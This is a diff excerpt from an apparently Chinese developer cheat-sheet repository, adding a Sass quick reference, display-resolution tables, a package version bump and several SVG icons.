| Apple Watch Series 6 (40mm) (2020) | 1.57 <sub>inch</sub> | 394 x 324 <sub>px</sub> | 197 x 162 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 7.0 |
|
||||
| Apple Watch Series 6 (44mm) (2020) | 1.78 <sub>inch</sub> | 448 x 368 <sub>px</sub> | 224 x 184 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 7.0 |
|
||||
| Asus Zenwatch 2 (2015) | 1.63 <sub>inch</sub> | 320 x 320 <sub>px</sub> | 213 x 213 <sub>px</sub> | 278 <sub>ppi</sub> | 185 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | |
|
||||
| Asus Zenwatch 3 (2016) | 1.39 <sub>inch</sub> | 400 x 400 <sub>px</sub> | 267 x 267 <sub>px</sub> | 287 <sub>ppi</sub> | 191 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Android Wear OS 2.1 |
|
||||
| Asus Zenwatch 3 (2016) | 1.39 <sub>inch</sub> | 400 x 400 <sub>px</sub> | 267 x 267 <sub>px</sub> | 287 <sub>ppi</sub> | 191 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Android Wear OS 2.1 |
|
||||
| Huawei Watch GT (2018) | 1.39 <sub>inch</sub> | 454 x 454 <sub>px</sub> | 227 x 227 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | |
|
||||
| Huawei Watch Magic (2018) | 1.2 <sub>inch</sub> | 390 x 390 <sub>px</sub> | 195 x 195 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | |
|
||||
| LG G Watch R (2015) | 1.3 <sub>inch</sub> | 320 x 320 <sub>px</sub> | 213 x 213 <sub>px</sub> | 245 <sub>ppi</sub> | 163 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Android Wear OS 1.0 |
|
||||
| LG Watch Sport (2017) | 1.38 <sub>inch</sub> | 480 x 480 <sub>px</sub> | 240 x 240 <sub>px</sub> | 348 <sub>ppi</sub> | 174 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android Wear 2.0 |
|
||||
| LG Watch Urbane 2nd Edition (2016) | 1.38 <sub>inch</sub> | 480 x 480 <sub>px</sub> | 240 x 240 <sub>px</sub> | 348 <sub>ppi</sub> | 174 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android Wear 2.0 |
|
||||
| LG Watch W7 (2018) | 1.2 <sub>inch</sub> | 360 x 360 <sub>px</sub> | 240 x 240 <sub>px</sub> | 300 <sub>ppi</sub> | 200 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Android Wear OS 2.0 |
|
||||
| Samsung Galaxy Watch (2018) | 1.3 <sub>inch</sub> | 360 x 360 <sub>px</sub> | 240 x 240 <sub>px</sub> | 278 <sub>ppi</sub> | 185 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Tizen-based <br/>wearable OS 4.0 |
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
### 常见的显示分辨率(N/A = 不适用)
|
||||
<!--rehype:wrap-class=col-span-2 row-span-2-->
|
||||
|
||||
标准 | 纵横比 | 可视窗口 | 百万像素 | Steam(%) | Stat Counter(%)
|
||||
:- |:- |:- |:- |:- |:- |
|
||||
`nHD` | 16:9 | 640 x 360 <sub>px</sub> | 0.230 | N/A | 0.47
|
||||
`SVGA` | 4:3 | 800 x 600 <sub>px</sub> | 0.480 | N/A | 0.76
|
||||
`XGA` | 4:3 | 1024 x 768 <sub>px</sub> | 0.786 | 0.38 | 2.78
|
||||
`WXGA` | 16:9 | 1280 x 720 <sub>px</sub> | 0.922 | 0.36 | 4.82
|
||||
`WXGA` | 16:10 | 1280 x 800 <sub>px</sub> | 1.024 | 0.61 | 3.08
|
||||
`SXGA` | 5:4 | 1280 x 1024 <sub>px</sub> | 1.311 | 1.24 | 2.47
|
||||
`HD` | ≈16:9 | 1360 x 768 <sub>px</sub> | 1.044 | 1.55 | 1.38
|
||||
`HD` | ≈16:9 | 1366 x 768 <sub>px</sub> | 1.049 | 10.22 | 23.26
|
||||
`WXGA+` | 16:10 | 1440 x 900 <sub>px</sub> | 1.296 | 3.12 | 6.98
|
||||
N/A | 16:9 | 1536 x 864 <sub>px</sub> | 1.327 | N/A | 8.5
|
||||
`HD+` | 16:9 | 1600 x 900 <sub>px</sub> | 1.440 | 2.59 | 4.14
|
||||
`WSXGA+` | 16:10 | 1680 x 1050 <sub>px</sub> | 1.764 | 1.97 | 2.23
|
||||
`FHD` | 16:9 | 1920 x 1080 <sub>px</sub> | 2.074 | 64.81 | 20.41
|
||||
`WUXGA` | 16:10 | 1920 x 1200 <sub>px</sub> | 2.304 | 0.81 | 0.93
|
||||
`QWXGA` | 16:9 | 2048 x 1152 <sub>px</sub> | 2.359 | N/A | 0.51
|
||||
`QXGA` | 4:3 | 2048 x 1536 <sub>px</sub> | 3.145 | - | -
|
||||
`UWFHD` | ≈21:9 | 2560 x 1080 <sub>px</sub> | 2.765 | 1.13 | N/A
|
||||
`QHD` | 16:9 | 2560 x 1440 <sub>px</sub> | 3.686 | 6.23 | 2.15
|
||||
`WQXGA` | 16:10 | 2560 x 1600 <sub>px</sub> | 4.096 | <0.58 | <2.4
|
||||
`UWQHD` | ≈21:9 | 3440 x 1440 <sub>px</sub> | 4.954 | 0.87 | N/A
|
||||
`4K UHD`| 16:9 | 3840 x 2160 <sub>px</sub> | 8.294 | 2.12 | N/A
|
||||
`Other` | - | - | - | 2.00 | 15.09
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
### 屏幕分辨率
|
||||
|
||||
解析度 | 像素
|
||||
:- |:-
|
||||
`540p / qHD` | 960×540<sub>px</sub>
|
||||
`720p / HD` | 1280×720<sub>px</sub>
|
||||
`1080p / Full HD / FHD` | 19201080<sub>px</sub>
|
||||
`2K` | 2048×1080<sub>px</sub>
|
||||
`1440p / QHD / QuadHD / WQHD` | 2560×1440<sub>px</sub>
|
||||
`2160p / UHD` | 3840×2160<sub>px</sub>
|
||||
`4K` | 4096×2160<sub>px</sub>
|
||||
`5K` | 5120×2880<sub>px</sub>
|
||||
`8K / 8K UHD` | 7680×4320<sub>px</sub>
|
||||
|
||||
### 显示分辨率和用例
|
||||
|
||||
解析度名称 | 设备
|
||||
:- |:-
|
||||
`8K` _(8K UHD)_ | `TVs`
|
||||
`“Cinema” 4K` _(4K)_ | 投影仪
|
||||
`UHD` _(4K, Ultra HD, Ultra-High Definition)_ | `TVs`, 监视器, 智能手机
|
||||
`2K` _(none)_ | 投影仪
|
||||
`WUXGA` _(Widescreen Ultra Extended Graphics Array)_ | 监视器, 投影仪
|
||||
`1080p` _(Full HD, FHD, HD, High Definition)_ | `TVs`, 监视器, 智能手机
|
||||
`720p` _(HD, High Definition)_ `TVs`, 智能手机
|
||||
<!--rehype:className=style-list-arrow-->
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [通用解析度列表](https://en.wikipedia.org/wiki/List_of_common_resolutions) _(en.wikipedia.org)_
|
||||
- [显示屏分辨率](https://en.wikipedia.org/wiki/Display_resolution) _(en.wikipedia.org)_
|
620
docs/sass.md
Normal file
620
docs/sass.md
Normal file
@ -0,0 +1,620 @@
|
||||
Sass
|
||||
===
|
||||
|
||||
这是一份快速参考备忘单,列出了 [SASS](https://sass-lang.com) 最有用的功能。
|
||||
|
||||
Sass 基础
|
||||
--------
|
||||
|
||||
### 介绍
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
- [Sass 官方文档](https://sass-lang.com/documentation) _(sass-lang.com)_
|
||||
- [Sass 中文文档](https://www.sass.hk/docs/) _(sass.hk)_
|
||||
|
||||
Sass 是一种 CSS 的预编译语言
|
||||
|
||||
```bash
|
||||
$ npm install -g sass
|
||||
```
|
||||
|
||||
在 Node.js 环境中使用 Sass
|
||||
|
||||
```bash
|
||||
$ sass source/index.scss build/index.css
|
||||
$ sass --watch input.scss output.css
|
||||
$ sass --watch app/sass:public/css
|
||||
```
|
||||
|
||||
### 变量
|
||||
|
||||
```scss
|
||||
$defaultLinkColor: #46EAC2;
|
||||
a {
|
||||
color: $defaultLinkColor;
|
||||
}
|
||||
```
|
||||
|
||||
### 字符串插值
|
||||
|
||||
```scss
|
||||
$wk: -webkit-;
|
||||
.rounded-box {
|
||||
#{$wk}border-radius: 4px;
|
||||
}
|
||||
```
|
||||
|
||||
### 注释
|
||||
|
||||
```scss
|
||||
/*
|
||||
这是多行注释
|
||||
块注释
|
||||
块注释
|
||||
*/
|
||||
// 这是一条单行注释
|
||||
```
|
||||
|
||||
### Extend
|
||||
|
||||
```scss
|
||||
.button {
|
||||
···
|
||||
}
|
||||
.push-button {
|
||||
@extend .button;
|
||||
}
|
||||
```
|
||||
|
||||
### 嵌套(Nesting)
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```scss
|
||||
nav {
|
||||
ul {
|
||||
padding: 0;
|
||||
list-style: none;
|
||||
}
|
||||
li { display: inline-block; }
|
||||
a {
|
||||
display: block;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为:
|
||||
|
||||
```scss
|
||||
nav ul {
|
||||
padding: 0;
|
||||
list-style: none;
|
||||
}
|
||||
nav li {
|
||||
display: inline-block;
|
||||
}
|
||||
nav a {
|
||||
display: block;
|
||||
}
|
||||
```
|
||||
|
||||
### 模块(片段)
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```scss
|
||||
// _base.scss
|
||||
$font-stack: Helvetica, sans-serif;
|
||||
$primary-color: #333;
|
||||
```
|
||||
|
||||
注意以下划线开头的 Sass 文件
|
||||
|
||||
```scss
|
||||
// styles.scss
|
||||
@use 'base';
|
||||
|
||||
.inverse {
|
||||
background-color: base.$primary-color;
|
||||
color: white;
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为:
|
||||
|
||||
```css
|
||||
.inverse {
|
||||
background-color: #333;
|
||||
color: white;
|
||||
}
|
||||
```
|
||||
|
||||
### 混合(Mixins)
|
||||
|
||||
```scss
|
||||
@mixin heading-font {
|
||||
font-family: sans-serif;
|
||||
font-weight: bold;
|
||||
}
|
||||
h1 {
|
||||
@include heading-font;
|
||||
}
|
||||
```
|
||||
|
||||
查看: [混合(Mixins)](#sass-混合mixins)
|
||||
|
||||
### @import
|
||||
|
||||
```scss
|
||||
@import './other_sass_file';
|
||||
@import '/code', 'lists';
|
||||
// 纯 CSS @imports
|
||||
@import "theme.css";
|
||||
@import url(theme);
|
||||
```
|
||||
|
||||
`.sass` 或 `.sass` 扩展名是可选的。
|
||||
|
||||
Sass 混合(Mixins)
|
||||
------
|
||||
|
||||
|
||||
### 参数
|
||||
|
||||
```scss
|
||||
@mixin font-size($n) {
|
||||
font-size: $n * 1.2em;
|
||||
}
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
body {
|
||||
@include font-size(2);
|
||||
}
|
||||
```
|
||||
|
||||
### 默认值
|
||||
|
||||
```scss
|
||||
@mixin pad($n: 10px) {
|
||||
padding: $n;
|
||||
}
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
body {
|
||||
@include pad(15px);
|
||||
}
|
||||
```
|
||||
|
||||
### 默认变量
|
||||
|
||||
```scss
|
||||
$default-padding: 10px;
|
||||
@mixin pad($n: $default-padding) {
|
||||
padding: $n;
|
||||
}
|
||||
body {
|
||||
@include pad(15px);
|
||||
}
|
||||
```
|
||||
|
||||
Sass 颜色函数
|
||||
--------
|
||||
<!--rehype:body-class=cols-2-->
|
||||
|
||||
### rgba
|
||||
|
||||
```scss
|
||||
rgb(100, 120, 140)
|
||||
rgba(100, 120, 140, .5)
|
||||
rgba($color, .5)
|
||||
```
|
||||
|
||||
### Mixing
|
||||
|
||||
```scss
|
||||
mix($a, $b, 10%) // 10% a, 90% b
|
||||
```
|
||||
|
||||
### 修改 HSLA
|
||||
|
||||
```scss
|
||||
darken($color, 5%)
|
||||
lighten($color, 5%)
|
||||
```
|
||||
|
||||
```scss
|
||||
saturate($color, 5%)
|
||||
desaturate($color, 5%)
|
||||
grayscale($color)
|
||||
```
|
||||
|
||||
```scss
|
||||
adjust-hue($color, 15deg)
|
||||
complement($color) // like adjust-hue(_, 180deg)
|
||||
invert($color)
|
||||
```
|
||||
|
||||
```scss
|
||||
fade-in($color, .5) // aka opacify()
|
||||
fade-out($color, .5) // aka transparentize()
|
||||
rgba($color, .5) // sets alpha to .5
|
||||
```
|
||||
|
||||
### 获取值
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
#### HSLA
|
||||
|
||||
```scss
|
||||
hue($color) // 0deg..360deg
|
||||
saturation($color) // 0%..100%
|
||||
lightness($color) // 0%..100%
|
||||
alpha($color) // 0..1 (aka opacity())
|
||||
```
|
||||
|
||||
#### RGB
|
||||
|
||||
```scss
|
||||
red($color) // 0..255
|
||||
green($color)
|
||||
blue($color)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`color.red()` | 用于获取颜色的红色通道
|
||||
`color.green()` | 用于获得颜色的绿色通道
|
||||
`color.blue()` | 用于获取颜色的蓝色通道
|
||||
`color.hue()` | 以获得颜色的色调
|
||||
`color.saturation()` | 用于获得颜色的饱和度
|
||||
`color.lightness()` | 以获得颜色的亮度
|
||||
|
||||
另见: [hue()](http://sass-lang.com/documentation/Sass/Script/Functions.html#hue-instance_method), [red()](http://sass-lang.com/documentation/Sass/Script/Functions.html#red-instance_method)
|
||||
|
||||
### Sass 内置了对颜色值的支持
|
||||
|
||||
```scss
|
||||
@debug rgb(204, 102, 153); // #c69
|
||||
@debug rgba(107, 113, 127, 0.8); // rgba(107, 113, 127, 0.8)
|
||||
@debug hsl(228, 7%, 86%); // #dadbdf
|
||||
@debug hsla(20, 20%, 85%, 0.7); // rgb(225, 215, 210, 0.7)
|
||||
```
|
||||
|
||||
### 调整
|
||||
|
||||
```scss
|
||||
// 固定金额变动
|
||||
adjust-color($color, $blue: 5)
|
||||
adjust-color($color, $lightness: -30%) // darken(_, 30%)
|
||||
adjust-color($color, $alpha: -0.4) // fade-out(_, .4)
|
||||
adjust-color($color, $hue: 30deg) // adjust-hue(_, 15deg)
|
||||
// 通过百分比变化
|
||||
scale-color($color, $lightness: 50%)
|
||||
// 完全改变一个属性
|
||||
change-color($color, $hue: 180deg)
|
||||
change-color($color, $blue: 250)
|
||||
```
|
||||
|
||||
支持的: `$red`, `$green`, `$blue`, `$hue`, `$saturation`, `$lightness`, `$alpha`
|
||||
|
||||
Sass 其他函数
|
||||
--------
|
||||
|
||||
### 字符串
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```scss
|
||||
unquote('hello')
|
||||
quote(bold); // "bold"
|
||||
```
|
||||
|
||||
```scss
|
||||
to-upper-case(hello)
|
||||
to-lower-case(hello)
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
str-length(hello world)
|
||||
// "ello" - 它是从 1 开始的,而不是从 0 开始的
|
||||
str-slice(hello, 2, 5)
|
||||
str-insert("abcd", "X", 1) // "Xabcd"
|
||||
```
|
||||
|
||||
### Numbers
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```scss
|
||||
floor(4.2) // 4
|
||||
ceil(4.2) // 5
|
||||
round(4.2) // 4
|
||||
abs(-10px) // 10px
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
min(1px, 4px) // 1px
|
||||
$widths: 50px, 30px, 100px
|
||||
@debug math.min($widths...) // 30px
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
percentage(.5) // 50%
|
||||
random(3) // 0..3
|
||||
```
|
||||
|
||||
### Units
|
||||
|
||||
```scss
|
||||
unit(3em) // 'em'
|
||||
unitless(100px) // false
|
||||
```
|
||||
|
||||
### Units
|
||||
|
||||
```scss
|
||||
unit(3em) // 'em'
|
||||
unitless(100px) // false
|
||||
```
|
||||
|
||||
### Misc
|
||||
|
||||
```scss
|
||||
// 检查 $red
|
||||
variable-exists(red)
|
||||
// 检查@mixin red-text
|
||||
mixin-exists(red-text)
|
||||
function-exists(redify)
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
global-variable-exists(red)
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
// .menu li a
|
||||
selector-append('.menu', 'li', 'a')
|
||||
// .menu:hover li
|
||||
selector-nest('.menu', '&:hover li')
|
||||
selector-extend(...)
|
||||
selector-parse(...)
|
||||
selector-replace(...)
|
||||
selector-unify(...)
|
||||
```
|
||||
|
||||
Sass 功能检查
|
||||
--------
|
||||
<!--rehype:body-class=cols-2-->
|
||||
|
||||
### 功能检查
|
||||
|
||||
```scss
|
||||
meta.feature-exists($feature)
|
||||
feature-exists($feature) //=> boolean
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
@mixin debug-content-exists {
|
||||
@debug meta.content-exists();
|
||||
@content;
|
||||
}
|
||||
|
||||
@include debug-content-exists; // false
|
||||
@include debug-content-exists { // true
|
||||
// Content!
|
||||
}
|
||||
```
|
||||
|
||||
### 功能
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`global-variable-shadowing` [#](https://sass-lang.com/documentation/modules/meta#feature-exists) | 这意味着局部变量将隐藏全局变量,除非它具有 `!global` 标志
|
||||
`extend-selector-pseudoclass` [#](https://sass-lang.com/documentation/modules/meta#feature-exists) | 这意味着 `@extend` 规则将影响嵌套在伪类中的选择器,如 `:not()`
|
||||
`units-level-3` [#](https://sass-lang.com/documentation/modules/meta#feature-exists) | 这意味着单位算术支持在 CSS 值和单位级别 3 中定义的单位
|
||||
`at-error` [#](https://sass-lang.com/documentation/modules/meta#feature-exists) | 这意味着支持 `@error` 规则
|
||||
`custom-property` [#](https://sass-lang.com/documentation/modules/meta#feature-exists) | 这意味着自定义属性声明值不支持除插值之外的任何表达式
|
||||
<!--rehype:className=style-list-arrow-->
|
||||
|
||||
Sass 循环
|
||||
--------
|
||||
|
||||
### For 循环
|
||||
|
||||
```scss
|
||||
$base-color: #036;
|
||||
|
||||
@for $i from 1 through 3 {
|
||||
ul:nth-child(3n + #{$i}) {
|
||||
background-color: lighten($base-color, $i * 5%);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为:
|
||||
|
||||
```css
|
||||
ul:nth-child(3n + 1) {
|
||||
background-color: #004080;
|
||||
}
|
||||
|
||||
ul:nth-child(3n + 2) {
|
||||
background-color: #004d99;
|
||||
}
|
||||
|
||||
ul:nth-child(3n + 3) {
|
||||
background-color: #0059b3;
|
||||
}
|
||||
```
|
||||
|
||||
### Each 循环(简单)
|
||||
|
||||
```scss
|
||||
$sizes: 40px, 50px;
|
||||
|
||||
@each $size in $sizes {
|
||||
.icon-#{$size} {
|
||||
font-size: $size;
|
||||
height: $size;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为:
|
||||
|
||||
```css
|
||||
.icon-40px {
|
||||
font-size: 40px;
|
||||
height: 40px;
|
||||
}
|
||||
|
||||
.icon-50px {
|
||||
font-size: 50px;
|
||||
height: 50px;
|
||||
}
|
||||
```
|
||||
|
||||
### Each 循环(嵌套)
|
||||
|
||||
```scss
|
||||
$icons: ("eye": "\f112", "start": "\f12e");
|
||||
|
||||
@each $name, $glyph in $icons {
|
||||
.icon-#{$name}:before {
|
||||
display: inline-block;
|
||||
font-family: "Icon Font";
|
||||
content: $glyph;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为:
|
||||
|
||||
```css
|
||||
.icon-eye:before {
|
||||
display: inline-block;
|
||||
font-family: "Icon Font";
|
||||
content: "";
|
||||
}
|
||||
.icon-start:before {
|
||||
display: inline-block;
|
||||
font-family: "Icon Font";
|
||||
content: "";
|
||||
}
|
||||
```
|
||||
|
||||
### While 循环
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```scss
|
||||
@use "sass:math";
|
||||
|
||||
/// 将 `$value` 除以 `$ratio` 直到它低于 `$base`
|
||||
@function scale-below($value, $base, $ratio: 1.618) {
|
||||
@while $value > $base {
|
||||
$value: math.div($value, $ratio);
|
||||
}
|
||||
@return $value;
|
||||
}
|
||||
|
||||
$normal-font-size: 16px;
|
||||
sup {
|
||||
font-size: scale-below(20px, 16px);
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为:
|
||||
|
||||
```css
|
||||
sup {
|
||||
font-size: 12.36094px;
|
||||
}
|
||||
```
|
||||
|
||||
Sass 其它功能
|
||||
--------
|
||||
|
||||
### 条件句
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```scss
|
||||
@mixin avatar($size, $circle: false) {
|
||||
width: $size;
|
||||
height: $size;
|
||||
|
||||
@if $circle {
|
||||
border-radius: $size / 2;
|
||||
}
|
||||
}
|
||||
|
||||
.square-av {
|
||||
@include avatar(100px, $circle: false);
|
||||
}
|
||||
.circle-av {
|
||||
@include avatar(100px, $circle: true);
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为:
|
||||
|
||||
```css
|
||||
.square-av {
|
||||
width: 100px;
|
||||
height: 100px;
|
||||
}
|
||||
|
||||
.circle-av {
|
||||
width: 100px;
|
||||
height: 100px;
|
||||
border-radius: 50px;
|
||||
}
|
||||
```
|
||||
|
||||
### 插值
|
||||
|
||||
```scss
|
||||
.#{$klass} { ... } // Class
|
||||
call($function-name) // Functions
|
||||
@media #{$tablet}
|
||||
font: #{$size}/#{$line-height}
|
||||
url("#{$background}.jpg")
|
||||
```
|
||||
|
||||
### 列表
|
||||
|
||||
```scss
|
||||
$list: (a b c);
|
||||
nth($list, 1) // starts with 1
|
||||
length($list)
|
||||
@each $item in $list { ... }
|
||||
```
|
||||
|
||||
### Maps
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```scss
|
||||
$map: (key1: value1, key2: value2, key3: value3);
|
||||
map-get($map, key1)
|
||||
```
|
||||
|
||||
另见
|
||||
----
|
||||
|
||||
- [Sass 官方文档](https://sass-lang.com/documentation) _(sass-lang.com)_
|
||||
- [Sass 中文文档](https://www.sass.hk/docs/) _(sass.hk)_
|
@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "@wcj/reference",
|
||||
"version": "1.7.0",
|
||||
"version": "1.8.0",
|
||||
"description": "为开发人员分享快速参考备忘单(主要是方便自己)。",
|
||||
"author": "jaywcjlove",
|
||||
"license": "MIT",
|
||||
|
3
scripts/assets/colors-named.svg
Normal file
3
scripts/assets/colors-named.svg
Normal file
@ -0,0 +1,3 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" height="1em" width="1em" viewBox="0 0 24 24">
|
||||
<path d="M19.54 5.08A10.61 10.61 0 0 0 11.91 2a10 10 0 0 0-.05 20 2.58 2.58 0 0 0 2.53-1.89 2.52 2.52 0 0 0-.57-2.28.5.5 0 0 1 .37-.83h1.65A6.15 6.15 0 0 0 22 11.33a8.48 8.48 0 0 0-2.46-6.25Zm-12.7 9.66a1.5 1.5 0 1 1 .4-2.08 1.49 1.49 0 0 1-.4 2.08ZM8.3 9.25a1.5 1.5 0 1 1-.55-2 1.5 1.5 0 0 1 .55 2ZM11 7a1.5 1.5 0 1 1 1.5-1.5A1.5 1.5 0 0 1 11 7Zm5.75.8a1.5 1.5 0 1 1 .55-2 1.5 1.5 0 0 1-.55 2Z" style="fill:#231f20" id="color-palette-2"/>
|
||||
</svg>
|
After Width: | Height: | Size: 555 B |
3
scripts/assets/netcat.svg
Normal file
3
scripts/assets/netcat.svg
Normal file
@ -0,0 +1,3 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" height="1em" width="1em" viewBox="0 0 30 27">
|
||||
<path fill="currentColor" fill-rule="evenodd" d="M24.1575957,7.91399838 C19.6909292,2.9579985 10.7162627,2.9579985 6.2509295,7.91399838 C4.72692954,9.60599833 4.04826289,11.7206649 4.28826288,14.0313316 C4.61226288,17.1499981 5.87759618,19.8033314 7.83359613,21.6193314 C7.8642628,21.0966647 7.86159613,20.4646647 7.78559613,19.6833314 L7.46692947,16.4099982 L10.3602627,17.9726648 C13.4069293,19.6179981 17.0002626,19.6179981 20.0455958,17.9726648 L22.9389291,16.4099982 L22.6215958,19.6833314 C22.5442624,20.4646647 22.5429291,21.0966647 22.5735958,21.6193314 C24.5295957,19.8033314 25.794929,17.1499981 26.118929,14.0313316 C26.358929,11.7206649 25.682929,9.60599833 24.1575957,7.91399838 M29.6015956,14.3926649 C29.0642623,19.5833314 26.430929,23.8366646 22.3789291,26.0646646 L21.1455958,26.7433312 L20.2189292,25.6833313 C20.1015958,25.5486646 19.2989292,24.5486646 19.0975958,22.153998 C16.7162626,22.8913313 13.6909293,22.8913313 11.3109294,22.153998 C11.109596,24.5486646 10.3069294,25.5486646 10.1895961,25.6833313 L9.26159609,26.7433312 L8.02826279,26.0646646 C3.97626289,23.837998 1.34426296,19.5833314 0.805596305,14.3926649 C0.46426298,11.1153316 1.47492962,7.98333171 3.64959623,5.56999844 C9.51359609,-0.934001402 20.8949291,-0.934001402 26.7575957,5.56999844 C28.9335956,7.98333171 29.9429289,11.1153316 29.6015956,14.3926649" transform="matrix(1 0 0 -1 0 27.435)"/>
|
||||
</svg>
|
After Width: | Height: | Size: 1.4 KiB |
7
scripts/assets/netstat.svg
Normal file
7
scripts/assets/netstat.svg
Normal file
@ -0,0 +1,7 @@
|
||||
<svg viewBox="0 0 36 36" xmlns="http://www.w3.org/2000/svg" fill="currentColor" height="1em" width="1em">
|
||||
<path d="M26.58 32h-18a1 1 0 1 0 0 2h18a1 1 0 0 0 0-2Z"/>
|
||||
<path d="M31.73 15.4h-6.17a18.87 18.87 0 0 1-1.62 2.52 2.33 2.33 0 0 1 .33 1.19 22 22 0 0 0 5 .45 11.88 11.88 0 0 1-.61 1.53h-.56a17.41 17.41 0 0 1-4.32-.56 2.29 2.29 0 0 1-3 .62 18.43 18.43 0 0 1-7 3.5 2.34 2.34 0 0 1-1.57 1.79l-.29.06a11.93 11.93 0 0 1-3.39-2.8h.66a2.33 2.33 0 0 1 4.37-.58A16.94 16.94 0 0 0 19.78 20a2.32 2.32 0 0 1-.18-1.17c-.42-.24-.84-.49-1.25-.76a17.53 17.53 0 0 1-5.35-5.6 2.31 2.31 0 0 1-2.28-.63 27.31 27.31 0 0 0-5 4.74v-.57a12 12 0 0 1 .14-1.73 18.75 18.75 0 0 1 4.2-3.8 2.28 2.28 0 0 1 1.1-2.25c-.12-.43-.24-.86-.33-1.3 0-.14 0-.29-.11-.64a12 12 0 0 1 1.37-.87c.1.59.14.9.21 1.21s.2.85.32 1.27h.25a2.33 2.33 0 0 1 1.13.63 18.59 18.59 0 0 1 6.39-1L23 3A14 14 0 0 0 3.75 16c0 .45 0 .89.07 1.33A14 14 0 0 0 31.76 16c0-.2-.02-.4-.03-.6Z" />
|
||||
<path d="M14.26 11.64a16 16 0 0 0 4.93 5.23c.34.23.69.43 1 .63a2.28 2.28 0 0 1 2.58-.57 17.29 17.29 0 0 0 1-1.54h-1.6A3.68 3.68 0 0 1 19 9.89l.56-.89a17.08 17.08 0 0 0-4.84.88 2.25 2.25 0 0 1-.47 1.77Z" />
|
||||
<path d="M26.85 1.14 21.13 11a1.28 1.28 0 0 0 1.1 2h11.45a1.28 1.28 0 0 0 1.1-2l-5.72-9.86a1.28 1.28 0 0 0-2.21 0Z"/>
|
||||
<path fill="none" d="M0 0h36v36H0z"/>
|
||||
</svg>
|
After Width: | Height: | Size: 1.3 KiB |
3
scripts/assets/sass.svg
Normal file
3
scripts/assets/sass.svg
Normal file
@ -0,0 +1,3 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" viewBox="0 0 64 64" height="1em" width="1em">
|
||||
<path d="M55.094 35.56a13.19 13.19 0 0 0-5.8 1.35c-.6-1.188-1.2-2.225-1.3-3-.113-.9-.25-1.45-.113-2.525s.763-2.6.763-2.725c-.012-.113-.138-.663-1.425-.675s-2.4.25-2.525.588a14.36 14.36 0 0 0-.538 1.913c-.225 1.175-2.575 5.338-3.913 7.526-.438-.85-.813-1.6-.888-2.2-.113-.9-.25-1.45-.113-2.525s.763-2.6.763-2.725c-.012-.113-.138-.663-1.425-.675s-2.4.25-2.525.588-.263 1.138-.538 1.913c-.263.775-3.388 7.726-4.2 9.538-.413.925-.775 1.663-1.038 2.163s-.012.038-.037.088l-.35.663v.012c-.175.313-.363.613-.45.613-.062 0-.188-.838.025-1.988.463-2.413 1.588-6.176 1.575-6.313 0-.062.213-.725-.725-1.063-.913-.338-1.238.225-1.313.225s-.138.2-.138.2 1.013-4.238-1.938-4.238c-1.85 0-4.4 2.013-5.663 3.85l-6.376 3.488-.138-.15C11.178 35.66 4.565 32.96 4.84 27.835c.1-1.863.75-6.776 12.7-12.726 9.788-4.875 17.627-3.538 18.99-.563 1.938 4.25-4.188 12.15-14.364 13.29-3.875.438-5.913-1.063-6.426-1.625-.538-.588-.613-.613-.813-.5-.325.175-.125.7 0 1.013.3.788 1.55 2.188 3.675 2.888 1.863.613 6.413.95 11.914-1.175 6.163-2.388 10.976-9.013 9.563-14.55-1.438-5.638-10.788-7.488-19.627-4.35C15.19 11.41 9.5 14.334 5.4 18.172.515 22.722-.26 26.698.064 28.348c1.138 5.888 9.25 9.726 12.5 12.564l-.45.25c-1.625.8-7.813 4.038-9.363 7.463-1.75 3.875.275 6.663 1.625 7.038 4.175 1.163 8.45-.925 10.763-4.363 